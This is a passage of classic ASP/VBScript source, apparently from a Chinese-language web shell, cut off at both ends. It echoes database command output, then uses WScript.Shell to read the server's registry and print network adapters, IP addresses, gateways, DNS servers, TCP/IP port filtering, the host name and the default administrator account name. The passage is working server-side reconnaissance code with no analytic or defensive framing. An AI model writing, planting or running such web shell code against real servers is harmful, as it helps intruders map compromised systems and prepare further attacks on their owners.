">",">"):strREsult = REplAcE(strREsult,chr(13),"<br>"):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "<br>"& strREsult
end Function
Function hook()
on error resume next
dim wsh
set wsh=createobject("Wscript.Shell")
Response.Write "[网络探测]<br><hr size=1>"
EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters"
isEnable=Wsh.Regread(EnableTcpipKey)
If isEnable=0 or isEnable="" Then
Notcpipfilter=1
End If
ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind"
Apds=Wsh.RegRead(ApdKey)
If IsArray(Apds) Then
For i=LBound(Apds) To UBound(Apds)-1
ApdB=Replace(Apds(i),"\Device\","")
Response.Write "网卡"&i&"的序列为:"&ApdB&"<br>"
Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\"
''IP地址探测
IPKey=Path&ApdB&"\IPAddress"
IPaddr=Wsh.Regread(IPKey)
If IPaddr(0)<>"" Then
For j=Lbound(IPAddr) to Ubound(IPAddr)
Response.Write "<li>IP地址"&j&"为:"&IPAddr(j)&"<br>"
Next
Else
Response.Write "<li>IP地址无法读取或没有设置<br>"
End if
''网关设置探测
GateWayKey=Path&ApdB&"\DefaultGateway"
GateWay=Wsh.Regread(GateWayKey)
If isarray(GateWay) Then
For j=Lbound(Gateway) to Ubound(Gateway)
Response.Write "<li>网关"&j&"为:"&Gateway(j)&"<br>"
Next
Else
Response.Write "<li>默认网关无法读取或没有设置<br>"
End if
''DNS设置探测
DNSKey=Path&ApdB&"\NameServer"
DNSstr=Wsh.RegRead(DNSKey)
If DNSstr<>"" Then
Response.Write "<li>网卡DNS为:"&DNSstr&"<br>"
Else
Response.Write "<li>默认DNS无法读取或没有设置<br>"
End If
''TCP/IP筛选探测
if Notcpipfilter=1 Then
Response.Write "<li>没有Tcp/IP筛选<br>"
else
ETK="\TCPAllowedPorts"
EUK="\UDPAllowedPorts"
FullTCP=Path&ApdB&ETK
FullUDP=path&ApdB&EUK
tcpallow=Wsh.RegRead(FullTCP)
If tcpallow(0)="" or tcpallow(0)=0 Then
Response.Write "<li>允许的TCP端口为:全部<br>"
Else
Response.Write "<li>允许的TCP端口为:"
For j = LBound(tcpallow) To UBound(tcpallow)
Response.Write tcpallow(j)&","
Next
Response.Write "<Br>"
End if
udpallow=Wsh.RegRead(FullUDP)
If udpallow(0)="" or udpallow(0)=0 Then
Response.Write "<li>允许的UDP端口为:全部<br>"
Else
Response.Write "<li>允许的UDP端口为:"
for j = LBound(udpallow) To UBound(udpallow)
Response.Write UDPallow(j)&","
next
Response.Write "<br>"
End if
End if
Response.Write "------------------------------------------------<br>"
Next
end if
Response.Write "<br><br>[系统设置探测]<br><hr size=1>"
pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName"
pcname=wsh.RegRead(pcnamekey)
if pcname="" Then pcname="无法读取主机名.<br>"
Response.Write "<li>当前主机名为:"&pcname&"<br>"
AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName"
AdminName=wsh.RegRead(AdminNameKey)
if adminname="" Then AdminName="Administrator"
Resp